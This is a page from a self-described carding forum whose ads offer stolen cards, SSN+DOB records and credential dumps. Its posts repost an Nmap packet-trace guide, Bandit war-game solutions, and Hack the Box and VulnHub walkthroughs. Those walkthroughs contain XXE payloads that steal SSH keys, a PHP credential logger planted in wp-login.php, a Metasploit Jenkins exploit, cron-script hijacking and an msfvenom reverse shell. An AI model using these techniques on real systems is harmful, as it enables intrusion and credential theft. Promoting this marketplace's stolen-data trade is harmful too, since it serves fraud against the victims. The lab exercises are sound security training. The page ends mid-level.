Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups








>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<



Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads
STUFF CC – BEST CC SHOP
2 hours ago

Last post by StuffCC
Vn5socks.net - Service Se...
6 hours ago

Last post by FireHeaven
Shopsocks5.com - Service ...
Yesterday, 12:42 PM

Last post by shopsocks5.com
Secretline.top @StarLinkC...
11-08-2026, 03:45 AM

Last post by Max097
Secretline.top @StarLinkC...
11-07-2026, 03:35 PM

Last post by Max097
Secretline.top @StarLinkC...
11-06-2026, 03:07 PM

Last post by Max097
[LUPIN ULP] 16.279.483 | ...
11-06-2026, 05:23 AM

Last post by ImLupin
Secretline.top @StarLinkC...
11-06-2026, 05:20 AM

Last post by Max097
Secretline.top @StarLinkC...
11-05-2026, 05:12 PM

Last post by Max097
⚡[350M] - UHQ ULP || URL:...
11-05-2026, 02:17 PM

Last post by eaglecloudofficial

 
  [Guide] How to Understanding Nmap Packet Trace
Posted by: NINZA - 05-14-2020, 09:22 AM - Forum: Carders Home - No Replies

Hello everyone. In this article, we’ll see how to capture network packet using nmap. And we’ll use Wireshark for comparing its result with nmap. In this article, we mainly focus on what types of network traffic is captured by nmap while we use various nmap ping scan.
Ping scan in nmap is done to check if the target host is alive or not. As we know that ping by default sends the ICMP echo request and gets an ICMP echo reply if the system is alive. Ping scan by default send an ARP packet and gets a response to check if the host is up.
NOTE: Nmap scans change their behavior according to the network they are scanning.

  • Scanning local network with nmap where nmap sends an ARP packet with every scan.
  • If an external network is to be scanned; nmap sends the following request packets:
ICMP echo request
ICMP timestamp request
TCP SYN to port 443
TCP ACK to port 80
Technique Involves in packet-tracing via nmap
The nmap module is an interface with nmap’s internal functions and data structures. The API offers target host information such as port states and version detection results. It also provides an interface to the Nsock library for effective network I/O.
Nsock is a parallel sockets library used by NSE, service detection (service_scan.cc) and DNS (nmap_dns.cc). It acts as an abstraction layer above socket operations and is optimized for handling multiple sockets. “mspool” is defined at “nsock_internal.h” and contains among other things a struct event_lists which is a structure that keeps information on all pending events.
Event creation
Events are represented with the msevent struct (nsock_internal.h) which contains (among other things)
  • The callback handler -> nsock_ev_handler (nsock_pool, nsock_event, void *)
  • A pointer to a msiod struct -> msiod *iod, which holds all the I/O descriptor (IOD) related information.
  • Struct filespace iobuf (a buffer usually 1024 bytes which holds the write/read bytes)
  • The nse_type (nsock.h)
  • The nse_status (nsock.h)
  • A unique id -> nsock_event_id (EID)
Events are created with the the following special functions:
nsock_connect.c
  • nsock_connect_tcp
  • nsock_connect_udp
  • nsock_connect_ssl
  • nsock_reconnect_ssl
nsock_read.c
  • nsock_readlines
  • nsock_readbytes
  • nsock_read
nsock_write.c
  • nsock_write
  • nsock_printf
nsock_timer_create.c
  • nsock_timer_create
source:

[To see content please register here]


Let’s Start!!
Nmap Sweep Ping Analysis
Attribute -sn/ -sP are used for sweep ping and they try to identify the live host in the network. Using –packet-trace along nmap scan we can observe the network packet.
nmap -sn 192.168.1.103 --packet-trace
1
nmap -sn 192.168.1.103 --packet-trace

Here you can observe first two packets SENT/RECD (received) showing ARP request packet from 192.168.1.105 to 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between the source and destination router.
  • NSOCK INFO that denotes a new nsock_event_id (EID) 8 is generated to represents I/O descriptor (IOD) #1 for NSOCK UDP connection request to the router on port 53.
  • NSOCK INFO that denotes another (EID) 18 is generated to represents read request from (IOD) #1.
  • NSOCK INFO that denotes another (EID) 27 is generated to represents write request for 44 bytes to (IOD) #1.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to connect for EID 8.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to write for EID 27.
  • NSOCK INFO that denotes SUCCESSFUL operation when nsock used callback_handler to read for EID 18.
  • NSOCK info that IOD #1 is deleted.
  • NSOCK info that nevent_delete is deleting on event 34.
  • At last Nmap scan report Host is up.
[Image: 7.png?w=687&ssl=1]
You can observe the same traffic we have captured from Wireshark
  • Arp request packet for 192.168.1.105 to 192.168.1.103
  • Arp reply packet from 192.168.1.103 to 192.168.1.105
[Image: 8.png?w=687&ssl=1]
Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -sn 192.168.1.103 --reason
1
nmap -sn 192.168.1.103 --reason

As you can observe it has clearly shown Host is up when received arp-response.
[Image: 9.1.png?w=687&ssl=1]
As we have seen, by default Nmap sent ARP packet to identify host status therefore now we will trace nmap packet when –disable-arp-ping is activated.
nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -sn 192.168.1.103 --packet-trace --disable-arp-ping

Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
  • ICMP echo request
  • ICMP timestamp request
  • TCP SYN to port 443
  • TCP ACK to port 80
Then RCVD packet ICMP Echo-reply from destination 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between source to the destination router.
[Image: 9.png?w=687&ssl=1]
Demonstrating working of Ping Sweep using Wireshark
From given below image you can observe the following packet of request and reply between both network IP.
  1. ICMP echo request
  2. TCP SYN to port 443
  3. TCP ACK to port 80
  4. ICMP timestamp request
  5. ICMP echo reply
  6. TCP RST, ACK to port 443
  7. TCP RST to port 80
  8. ICMP Timestamp Reply
[Image: 10.png?w=687&ssl=1]
nmap -sn 192.168.1.103 --disable-arp-ping --reason
1
nmap -sn 192.168.1.103 --disable-arp-ping --reason

Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -sn 192.168.1.103 --disable-arp-ping --reason
1
nmap -sn 192.168.1.103 --disable-arp-ping --reason

As you can observe it has clearly shown Host is up when received ICMP echo-response.
[Image: 11.1.png?w=687&ssl=1]
Nmap TCP-SYN Ping Analysis
Attribute -PS sends TCP SYN packet on port 80 by default; we can change it by specifying the ports with it, like -P22.
nmap -PS -p22 192.168.1.103 --packet-trace
1
nmap -PS -p22 192.168.1.103 --packet-trace

Here you can observe this scan is the addition of nmap ping scan and nmap stealth scan because, in the beginning, it sends arp packet then uses nsock libraries and at the end again implicates TCP half communication.
So you can observe the following information we fetched from nmap:
  • SENT/RECD ARP request and reply respectively.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:36088 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:36088.
[Image: 11.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark.
[Image: 12.png?w=687&ssl=1]
Similar you can also choose –reason option with nmap command to enumerate response from host network.
nmap -PS -p22 192.168.1.103 --reason
1
nmap -PS -p22 192.168.1.103 --reason

Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 13.1.png?w=687&ssl=1]
Now let figure out network traffic when –disable-arp-ping activated.
nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -PS -p22 192.168.1.103 --packet-trace --disable-arp-ping

So you can observe the following information we fetched from nmap:
  • SENT TCP-SYN packet on port 80
  • RCVD TCP-RST/ACK from port 80.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:63581 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:63851.
[Image: 13.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark also.
[Image: 14.png?w=687&ssl=1]
Nmap ICMP Ping Analysis
Attribute –PE sends ICMP echo request packet [ICMP type 8] and received ICMP echo reply packet
nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -sP -PE 192.168.1.103 --packet-trace --disable-arp-ping

Here you can notice ICMP Echo-request packets SENT from source 192.168.1.105 to destination 192.168.1.103
Then RCVD packet ICMP Echo-reply from destination 192.168.1.103 and then used NSOCK libraries to state actual request and response packets travel between source to the destination router.
[Image: 15.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark also.
[Image: 16.png?w=687&ssl=1]
Nmap Stealth Scan Analysis
Let’s capture the network packet for default nmap scan also called stealth scan which follows TCP half communication
nmap -p22 192.168.1.103
1
nmap -p22 192.168.1.103

[Image: 22.png?w=687&ssl=1]
Here you can observe TCP-half communication:
  • TCP-SYN packet sent from source 192.168.1.105 to 192.168.1.103 on port 22.
  • TCP-SYN, ACK packet received from source 192.168.1.103 to 192.168.1.105.
  • TCP-RST packet sent from source 192.168.1.105 to 192.168.1.103.
[Image: 23.png?w=687&ssl=1]
Now let’s verify it with parameter –packet-trace and compare the result.
nmap -p22 192.168.1.103 --packet-trace
1
nmap -p22 192.168.1.103 --packet-trace

So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping.
  • SENT/RECD ARP request and reply respectively.
  • Nsock libraries details
  • TCP-SYN packet from 192.168.1.105:48236 to 192.168.1.103:22.
  • TCP-SYN/ACK packet from 192.168.1.103:22 to 192.168.1.105:48236.
[Image: 24.png?w=687&ssl=1]
Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network.
nmap -p22 192.168.1.103 --reason
1
nmap -p22 192.168.1.103 --reason

Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 25.png?w=687&ssl=1]
Now let’s figure out the behavior of network traffic when –disable-arp-ping activated.
nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping
1
nmap -p22 192.168.1.103 --packet-trace --disable-arp-ping

Here you can notice the following SENT packets from source 192.168.1.105 to destination 192.168.1.103.
  • SENT ICMP echo request
  • SENT TCP SYN to port 443
  • SENT TCP ACK to port 80
  • SENT ICMP timestamp request
  • Then RCVD packet ICMP Echo-reply from destination 192.168.1.103
  • Then used NSOCK libraries to state actual request and response packets travel between sources to the destination router.
  • SENT TCP-SYN request on port 22
  • RECV TCP-SYN, ACK reply from port 22.
[Image: 26.png?w=687&ssl=1]
On the other hand, we saw the same pattern of network traffic in Wireshark too.
[Image: 27.png?w=687&ssl=1]
Nmap TCP Scan Analysis
We know from our basic network communication knowledge that a TCP scan performs a three-way-handshake. A nmap TCP scan is done here:
nmap -sT -p22 192.168.1.103 --packet-trace
1
nmap -sT -p22 192.168.1.103 --packet-trace

So you can observe the following information we fetched from nmap which is similar to TCP-SYN Ping.
SENT/RECD ARP request and reply respectively.
Nsock libraries details
Connecting TCP Localhost from destination host 192.168.1.103:22 is in progress.
Connected TCP Localhost from destination host 192.168.1.103:22 successfully.
[Image: 28.png?w=687&ssl=1]
Similarly, we saw the same pattern of network traffic in Wireshark too.
[Image: 29.png?w=687&ssl=1]
Similarly, you can also choose the “–reason” option with nmap command to enumerate response from the host network.
nmap -sT -p22 192.168.1.103 --reason
1
nmap -sT -p22 192.168.1.103 --reason

Here you can observe port 22 is open and when received SYN/ACK packet from the host.
[Image: 30.png?w=687&ssl=1]

Hello Friends!! Today we are going to solve another CTF Challenge “Aragog”. This VM is also developed by Hack the Box, Aragog is a Retired Lab and there are multiple ways to breach into this VM.
Level: Medium
Task: Find the user.txt and root.txt in the vulnerable Lab.
Table of Content
Scanning
  • Open ports and Running services (Nmap)
Enumeration
  • FTP anonymous login
  • Web Directory Enumeration
Exploit XXE
  • Intercept Browser request (Burp Suite)
  • Access /etc/passwd file
  • Steal SSH RSA key
Access Victim’s shell (SSH login)
  • Capture user.txt flag
Privilege Escalation
  • Capture root.txt flag
Let’s Begin!!
As these labs are only available online, therefore, they have a static IP. Aragog Lab has IP: 10.10.10.78.
Now, as always let’s begin our hacking with the port enumeration.
nmap -A 10.10.10.78
1
nmap -A 10.10.10.78

Looking around its result we found ports 21, 22 and 80 are open. Moreover, we notice FTP anonymous login is allowed.
[Image: 1.png?w=687&ssl=1]
Enumeration
So we try to connect with FTP through anonymous login. Here I found the test.txt file in the current directory. Then with the help of get command, we downloaded the test.txt file in our local machine.
ftp 10.10.10.78
ls
get test.txt
cat test.txt

1
2
3
4

ftp 10.10.10.78
ls
get test.txt
cat test.txt

inside test.txt file we observe something related to a subnet_mask in XML format, at this point, I was confused where I can implement this hint.
[Image: 2.png?w=687&ssl=1]
Then we open target IP over web browser but didn’t found any remarkable thing here.
[Image: 3.png?w=687&ssl=1]
When we found nothing at port 80, then though to use dirbuster for web directory brute-force attack.
[Image: 4.png?w=687&ssl=1]
Here I found a /hosts.php file from its result.
[Image: 5.png?w=687&ssl=1]
When I have explored /hosts.php in the web browser I found a message “There are 4294967294 possible hosts for” as shown below image. So I search in Google for 4294967294 hosts which were related to 255.255.255.254 as found in the above test.txt file.
It means we can post the test.txt file here with help of burp suite.
[Image: 6.png?w=687&ssl=1]
Exploit XXE (XML External Entity)
So let’s capture the request and sent the intercepted data into the repeater.
[Image: 7.png?w=687&ssl=1]
As we have predicted the test.txt is in XML format so we have tried to validate XXE injection.
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>

1
2
3
4

<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>

Luckily we found this is vulnerable to XXE injection.
[Image: 8.png?w=687&ssl=1]
Hence now I can simply exploit it for fetching /etc/passwd file with help of following XXE script and then check its response.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>

1
2
3
4
5
6
7
8

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////etc/issue" >]>
<details>
<subnet_mask>&xxe;</subnet_mask>
<test></test>
</details>

Great!! We got the /passwd file successfully and enumerated two local usernames.
[Image: 9.png?w=687&ssl=1]
With the help of /passwd file information, we try to get id_rsa through XXE script.
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>

1
2
3
4
5
6
7
8

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:////home/florian/.ssh/id_rsa" >]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>

Yuppiee! We got the ssh private key successfully, that I copied in the text file and named as key.
[Image: 10.png?w=687&ssl=1]
Then assign permission 600 to saved key (id_rsa) and then try to connect with SSH as we knew the port 22 was open in the victim’s network.
cd Desktop
chmod 600 key
ssh -i key [email protected]

1
2
3

cd Desktop
chmod 600 key
ssh -i key [email protected]

And as you can observe that we get login successfully and accessed the TTY shell of victim’s machine, now let’s find the user.txt file to finish the 1st task.
cd /home
ls
cd florian
ls
cat user.txt

1
2
3
4
5

cd /home
ls
cd florian
ls
cat user.txt

1st task is completed; let’s find out root.txt to finish the 2nd task.
[Image: 11.png?w=687&ssl=1]
Privilege Escalation
Inside /var/www/html we saw /dev_wiki and it was good to see that this folder holds WordPress setup and configuration files.
[Image: 12.png?w=687&ssl=1]
So I simply add host IP: 10.10.10.78 and hostname: aragog is our local host file which is present inside /etc.
[Image: 13.png?w=687&ssl=1]
So we explore aragog/dev_wiki in our web browser and got the WordPress home page.
[Image: 14.png?w=687&ssl=1]
As you can observe inside /blog we found a message to Florian from Cliff where he had to express the mess of WordPress restoring in very few minutes.
[Image: 15.png?w=687&ssl=1]
So with help of Google, I found a script

[To see content please register here]

and download it in victim’s VM inside /tmp and also gave execution permission.

pspy is a command line tool designed to snoop on processes without the need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute.
cd /tmp
wget

[To see content please register here]

chmod +x pspy32s

1
2
3

cd /tmp
wget

[To see content please register here]

chmod +x pspy32s

[Image: 50.png?w=687&ssl=1]
After the particular time, we realize that there is a cron job that is frequently deleting the dev_wiki folder & replacing it with the backup folder & a script wp-login.py is ran shortly after that process occurs.
[Image: 51.png?w=687&ssl=1]
Now let’s manipulate the content of the wp-login.php file and place a new php code inside it to enumerate username and password.
echo "" > wp-login.php
nano wp-login.php

1
2

echo "" > wp-login.php
nano wp-login.php


<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('/tmp/request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
?>

1
2
3
4
5
6

<?php
$req_dump = print_r($_REQUEST, TRUE);
$fp = fopen('/tmp/request.log', 'a');
fwrite($fp, $req_dump);
fclose($fp);
?>


cat wp-login.php
1
cat wp-login.php

[Image: 52.png?w=687&ssl=1]
So this file will dump the credential after a few minutes inside /tmp.
cd /tmp
cat creds.txt

1
2

cd /tmp
cat creds.txt

Administrator: !KRgYs(JFO!&MTr)lf
Hmm!!! We got the admin credential.
[Image: 53.png?w=687&ssl=1]
Now let’s grab the root.txt file quickly and finish this task.
su root
cd /root
cat root.txt

1
2
3

su root
cd /root
cat root.txt

We finished both tasks successfully!!
[Image: 55.png?w=687&ssl=1]

Hello readers. We’d recently tried our hands on the vulnerable VM called Jarbas on vulnhub. It is developed to look like a 90s Portuguese search engine. It is made by Tiago Tavares. You can download the lab from

[To see content please register here]

. The objective of this challenge is to get the root shell.

Difficulty Level: Easy
Steps involved:
Method 1:
  1. Port scanning and network discovery.
  2. Directory enumeration.
  3. Discovery of username and password hashes.
  4. Cracking password hash.
  5. Exploiting Jenkins on port 8080 using Metasploit.
  6. Discovering cronjob.
  7. Modifying cronjob and replacing it with a custom command to set the sticky bit on the find.
  8. Waiting 5 minutes for the sticky bit to get set.
  9. Executing root command to read the flag.
Method 2:
  1. Exploiting Jenkins as above to get a shell.
  2. Using OpenSSL to create a password hash.
  3. Editing /etc/passwd file with our custom file.
  4. Uploading it in the /tmp folder.
  5. Copying it in place of /etc/passwd.
  6. Logging in as root using SU binary.
Method 3:
  1. Achieving meterpreter as above.
  2. Uploading a reverse_bash one-liner in CleaningScript.sh.
  3. Activating Netcat and getting root.
Let’s get started then.
Method 1:
After running a netdiscover scan we figured out that the IP that DHCP allotted to the VM was 192.168.1.122 in my case.
So, we used a nmap aggressive scan to discover opened ports on the VM.
nmap -A 192.168.1.122
1
nmap -A 192.168.1.122

[Image: 2.png?w=687&ssl=1]
There was a webpage associated with the VM so we opened it in the browser.
[Image: 3.png?w=687&ssl=1]
When nothing seemed to impress us, we tried to enumerate the directories using directory buster.
dirb

[To see content please register here]

-X .html

1
dirb

[To see content please register here]

-X .html

[Image: 4.png?w=687&ssl=1]
Since index.html is the default page and there was another HTML page available, we tried to open it in the browser.
[Image: 5.png?w=687&ssl=1]
We found some password hashes in the access.html that we tried to crack it online on hashkiller.
[Image: 6.png?w=687&ssl=1]
WOW! We have three passwords in hand now.
Now, remember we had port 22 open in our nmap scan report, so we tried to login into ssh using the usernames and passwords we just cracked but it didn’t seem to work. So, we looked at another interesting port of 8080 and opened it in the browser.
[Image: 7.png?w=687&ssl=1]
We found a web application on Jenkins. It is an open source automation server written in Java. Jenkins helps to automate the non-human part of the software development process, with continuous integration and facilitating technical aspects of continuous delivery.
We tried to login with all three of the usernames and passwords but the third combination logged us into Jenkins which was:
eder: vipsu
1
eder: vipsu

[Image: 8.png?w=687&ssl=1]
Now, we found that Jenkins had a script console vulnerability and its module was in Metasploit.
use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set target 1
msf exploit(jenkins_script_console) > set rhost 192.168.1.122
msf exploit(jenkins_script_console) > set rport 8080
msf exploit(jenkins_script_console) > set TARGETURI /
msf exploit(jenkins_script_console) > set USERNAME eder
msf exploit(jenkins_script_console) > set PASSWORD vipsu
msf exploit(jenkins_script_console) > exploit

1
2
3
4
5
6
7
8

use exploit/multi/http/jenkins_script_console
msf exploit(jenkins_script_console) > set target 1
msf exploit(jenkins_script_console) > set rhost 192.168.1.122
msf exploit(jenkins_script_console) > set rport 8080
msf exploit(jenkins_script_console) > set TARGETURI /
msf exploit(jenkins_script_console) > set USERNAME eder
msf exploit(jenkins_script_console) > set PASSWORD vipsu
msf exploit(jenkins_script_console) > exploit

[Image: 9.png?w=687&ssl=1]
We got a meterpreter session! Let’s try and get a teletype here using python’s one-liner shell:
shell
python -c 'import pty;pty.spawn("/bin/bash");'

1
2

shell
python -c 'import pty;pty.spawn("/bin/bash");'

Now, we found a shell script in the crontab which was executing automatically after every 5 minutes called CleaningScript.sh and whose job was to remove access log from the system.
cat /etc/crontab
cd /etc/script
ls
cat CleaningScript.sh

1
2
3
4

cat /etc/crontab
cd /etc/script
ls
cat CleaningScript.sh

But even better, it was running with root permissions!
[Image: 10.png?w=687&ssl=1]
Let’s make a new gedit file called CleaningScript.sh and use the root privilege of CleaningScript.sh file to set a sticky bit on “find.”
#!/bin/bash
chmod u+s /usr/bin/find

1
2

#!/bin/bash
chmod u+s /usr/bin/find

[Image: 11.png?w=687&ssl=1]
Now, all that was left to do was to upload this new shell script onto the server and replace it with the original file.
So, we background the shell (CTRL+Z)
and used meterpreter upload command.
upload /root/Desktop/CleaningScript.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash");'
date

1
2
3
4

upload /root/Desktop/CleaningScript.sh .
shell
python -c 'import pty;pty.spawn("/bin/bash");'
date

We observed the time and waited for exactly 5 minutes for the script to run automatically.
[Image: 12.png?w=687&ssl=1]
After 5 minutes:
ls -la /usr/bin/find
1
ls -la /usr/bin/find

Permissions modified: -rwsr-xr-x
The sticky bit got set! Now we just need to use the find inline command execution:
find /home -exec whoami \;
1
find /home -exec whoami \;

As you can see all the users got enumerated as root.
find /home -exec ls -la /root \;
1
find /home -exec ls -la /root \;

Hence, we can execute any command as root now!!
[Image: 13.png?w=687&ssl=1]
A file called flag.txt was visible in the root directory.
find /home -exec cat flag.txt \;
1
find /home -exec cat flag.txt \;

[Image: 14.png?w=687&ssl=1]
Method 2:
For this method, we achieve the meterpreter session as above and then get a shell.
We used echo command this time to set the sticky bit on /usr/bin/cp
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh
1
echo "chmod u+s /usr/bin/cp" > CleaningScript.sh

[Image: 25.png?w=687&ssl=1]
We read the /etc/passwd file using cat utility after that.
[Image: 26.png?w=687&ssl=1]
Our aim was to add a user in /etc/passwd file as root. So, we use OpenSSL utility to create a password hash with the command:
openssl passwd -l -salt user3 pass123
1
openssl passwd -l -salt user3 pass123

Copy the password hash in someplace safe now.
[Image: 27.png?w=687&ssl=1]
Copy the /etc/passwd file in a leafpad file and let’s add our custom user in there.
raj:$1$user3$<hash>:0:0:root:/root:/bin/bash
1
raj:$1$user3$<hash>:0:0:root:/root:/bin/bash

[Image: 28.png?w=687&ssl=1]
Save this file somewhere on the desktop and download this file on server’s /tmp (universal writeable) directory.
Then use cp (since we set sticky bit) to copy and replace this file with the original file with the command:
cp passwd /etc/passwd
1
cp passwd /etc/passwd

Let’s try and login using su binary:
su raj
[password]: pass123

1
2

su raj
[password]: pass123

Voila! We got a root shell! Let’s read the flag now.
cd /root
ls
cat flag.txt

1
2
3

cd /root
ls
cat flag.txt

[Image: 29.png?w=687&ssl=1]
Method 3:
Achieve shell as above and in another terminal window, try this msfvenom command:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.133 lport=4444 R


[Image: 30.png?w=687&ssl=1]
Since we know CleaningScript.sh is run as root in every 5 minutes, so we copy this one-liner in CleaningScript.sh and activate a netcat shell side by side and wait for 5 minutes.
cd /etc/script
ls
echo "0<&126 >&126 2>&126" > CleaningScript.sh

1
2
3

cd /etc/script
ls
echo "0<&126 >&126 2>&126" > CleaningScript.sh


[Image: 31.png?w=687&ssl=1]
In another window, after waiting for 5 minutes, we will get a root shell!
nc -lvp 4444
id
python -c 'import pty;pty.spawn("/bin/bash");'
cat flag.txt

1
2
3
4

nc -lvp 4444
id
python -c 'import pty;pty.spawn("/bin/bash");'
cat flag.txt


[Image: 32.png?w=687&ssl=1]
So, that’s how we captured the flag in this VM. Happy Hacking.

Today, we will continue to play the war-game called Bandit.

[To see content please register here]

Organization hosts this war-game. To play this war-game, go to the Bandit website by clicking

[To see content please register here]

.

Get the solutions of other levels from below.

[To see content please register here]


[To see content please register here]


Objective
Find the password file. It will give us access to the next level.
Table of Content:
  • Level 14-15
  • Level 15-16
  • Level 16-17
  • Level 17-18
  • Level 18-19
  • Level 19-20
  • Level 20-21
Level 14-15
In the previous article, we got the password for level 14 and have successfully connected as user bandit14. We are informed that the password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost. First, we retrieve the password for the current level. We used the cat command to print the password as shown in the given image. To connect to port 30000, we are using telnet. After connecting we enter the current password it is checked and upon matching the password for the next level is printed on the screen. We will use this password to get an SSH connection as bandit15
cat /etc/bandit_pass/bandit14
telnet localhost 30000
ssh bandit15@localhost

1
2
3

cat /etc/bandit_pass/bandit14
telnet localhost 30000
ssh bandit15@localhost

[Image: 1.png?w=687&ssl=1]
Level 15-16
On this level, we are informed that the password for the next level is retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. We use the openssl command with parameters like s_client that implements that we are the connecting as the client using the hostname localhost at port 30001. We use -ign_eof to inhibit shutting the connection when the end of file is reached in the input.
openssl s_client -connect localhost:30001 -ign_eof
1
openssl s_client -connect localhost:30001 -ign_eof

[Image: 2.png?w=687&ssl=1]
After establishing the connection, we provide it with the password for the bandit15. It is verified and after verification, the password for the next level is provided. We will use this password to get an SSH connection as bandit16.
ssh bandit16@localhost
1
ssh bandit16@localhost

[Image: 3.png?w=687&ssl=1]
Level 16-17
Initially, we are informed that the credentials for the next level can be retrieved by connecting to a port within the range of 31000 to 32000 and submitting the password of bandit16. We use Nmap to scan the ports to get the exact port from the range. As we can see in the output of the Nmap scan that on port 31790 there is a message that hints that we need to enter the password on that port.
nmap -A localhost -p 31000-32000
1
nmap -A localhost -p 31000-32000

[Image: 4.png?w=687&ssl=1]
Now we will connect to this port using openssl as localhost.
openssl s_client -connect localhost:31790
1
openssl s_client -connect localhost:31790


After connecting to the port, we will have to enter the password of bandit16. This password goes under verification. Upon a successful match, we are provided with an RSA key.
[Image: 5.png?w=687&ssl=1]
Now to use this RSA key, we need to create a private key. But we can’t do this inside the home directory as we lack necessary permissions. So, we create a directory in /tmp directory using mkdir command. On traversing to that newly created directory, we will create a private key. We can name it anything we want. Here we are using the nano editor to create the private key.
mkdir /tmp/pavan_ssh
cd /tmp/pavan_ssh
nano pavan.private

1
2
3

mkdir /tmp/pavan_ssh
cd /tmp/pavan_ssh
nano pavan.private

[Image: 6.png?w=687&ssl=1]
After running the nano command, we will be prompted to press the Enter key to continue. On doing that the private key will be opened to edit using nano. Now we will paste the RSA key we found earlier. Now to exit we will press Ctrl and x keys simultaneously. There would be a prompt asking us to save the updates. We will press ‘y’ followed by this, nano will ask us if we want to rename the file. After this, we would have successfully created a private key using the RSA we were provided before.
[Image: 8.png?w=687&ssl=1]
SSH won’t allow any private key with such open permissions. So, we will have to change the permissions. We will use the chmod command to apply the permissions equivalent to 600. This means that only the owner can read and write the file. We will use this private key to get an SSH connection as bandit17.
chmod 600 pavan.private
ssh bandit17@localhost -i pavan.private

1
2

chmod 600 pavan.private
ssh bandit17@localhost -i pavan.private

[Image: 9.png?w=687&ssl=1]
Level 17-18
Upon logging in as bandit17, we run the ls command to look for any files. We see that we have two files, password.new and password.old. Now we have informed that password for the next level the only line that has been changed between both files. We will use the diff command to find that password. And the diff command gives us the required password. We will use this password to get an SSH connection as bandit18.
ls
diff passwords.old passwords.new
ssh bandit18@localhost

1
2
3

ls
diff passwords.old passwords.new
ssh bandit18@localhost

[Image: 10.png?w=687&ssl=1]
Now on providing with the correct password our connection was closed. This is because the authors of this level have modified the .bashrc file to log us out of ssh. We will use the -t parameter to disable the pseudo -tty allocation. As this is making our session vulnerable to get closed. Let’s connect ssh again as shown in the given image.
ssh -T bandit18@localhost
1
ssh -T bandit18@localhost

[Image: 11.png?w=687&ssl=1]
This time we got a shell, it may be not visible but it is there. We can run commands here. First, let’s try the ls command. This gives us the readme file. Upon reading that file, we get what seems like credentials for the next level. We will use this password to get an SSH connection as bandit19.
ls
cat readme
ssh bandit19@localhost

1
2
3

ls
cat readme
ssh bandit19@localhost

[Image: 13.png?w=687&ssl=1]
Level 19-20
After successfully getting the ssh to user bandit19, we start with ls command to see what we got this time. We have a file that seems like a script. We tried to run to see the working of the script. We are shown that the script runs a command as another user. Now we were informed that the password is stored at /etc/bandit_pass/. So, we run the script with the cat command to read the password for the next level. We will use this password to get an SSH connection as bandit20.
ls
./bandit20-do
./bandit20-do cat /etc/bandit_pass/bandit20
ssh bandit20@localhost

1
2
3
4

ls
./bandit20-do
./bandit20-do cat /etc/bandit_pass/bandit20
ssh bandit20@localhost

[Image: 14.png?w=687&ssl=1]
Level 20-21
